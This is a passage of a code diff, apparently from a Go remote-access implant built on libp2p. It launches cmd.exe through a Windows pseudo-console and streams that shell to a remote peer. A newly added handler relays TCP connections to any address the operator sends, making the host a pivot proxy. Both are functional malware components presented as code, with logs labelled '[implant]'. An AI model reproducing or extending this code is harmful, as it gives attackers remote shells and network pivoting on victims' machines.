windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
||||
return
|
||||
}
|
||||
|
||||
cmdW, err := windows.UTF16PtrFromString("cmd.exe")
|
||||
if err != nil {
|
||||
procClosePseudoConsole.Call(uintptr(hPC))
|
||||
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
||||
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
||||
return
|
||||
}
|
||||
|
||||
si := windows.StartupInfoEx{}
|
||||
si.StartupInfo.Cb = uint32(unsafe.Sizeof(windows.StartupInfoEx{}))
|
||||
si.ProcThreadAttributeList = (*windows.ProcThreadAttributeList)(unsafe.Pointer(&attrList[0]))
|
||||
|
||||
pi := new(windows.ProcessInformation)
|
||||
err = windows.CreateProcess(
|
||||
nil, cmdW,
|
||||
nil, nil,
|
||||
false,
|
||||
windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_UNICODE_ENVIRONMENT,
|
||||
nil, nil,
|
||||
(*windows.StartupInfo)(unsafe.Pointer(&si)),
|
||||
pi,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("[implant] create process: %v", err)
|
||||
procClosePseudoConsole.Call(uintptr(hPC))
|
||||
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
||||
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
||||
return
|
||||
}
|
||||
|
||||
windows.CloseHandle(pi.Thread)
|
||||
log.Printf("[implant] shell started via ConPTY for %s", remotePeer.String())
|
||||
|
||||
inPipe := &pipeHandle{h: hCmdIn}
|
||||
outPipe := &pipeHandle{h: hCmdOut}
|
||||
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
go func() {
|
||||
io.Copy(inPipe, s)
|
||||
inPipe.Close()
|
||||
time.AfterFunc(2*time.Second, func() {
|
||||
if pi.Process != 0 {
|
||||
windows.TerminateProcess(pi.Process, 1)
|
||||
}
|
||||
})
|
||||
done <- struct{}{}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
io.Copy(s, outPipe)
|
||||
outPipe.Close()
|
||||
done <- struct{}{}
|
||||
}()
|
||||
|
||||
<-done
|
||||
<-done
|
||||
|
||||
procClosePseudoConsole.Call(uintptr(hPC))
|
||||
s.Close()
|
||||
windows.CloseHandle(hPtyIn)
|
||||
windows.CloseHandle(hPtyOut)
|
||||
|
||||
windows.WaitForSingleObject(pi.Process, windows.INFINITE)
|
||||
windows.CloseHandle(pi.Process)
|
||||
|
||||
log.Printf("[implant] shell ended for %s", remotePeer.String())
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
)
|
||||
|
||||
func (a *Agent) handleSocksStream(s network.Stream) {
|
||||
defer s.Close()
|
||||
|
||||
br := bufio.NewReader(io.LimitReader(s, 1024))
|
||||
target, err := br.ReadString('\n')
|
||||
if err != nil {
|
||||
log.Printf("[implant] socks read target: %v", err)
|
||||
return
|
||||
}
|
||||
target = strings.TrimSpace(target)
|
||||
|
||||
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("[implant] socks dial %s: %v", target, err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
go io.Copy(conn, io.MultiReader(br, s))
|
||||
io.Copy(s, conn)
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user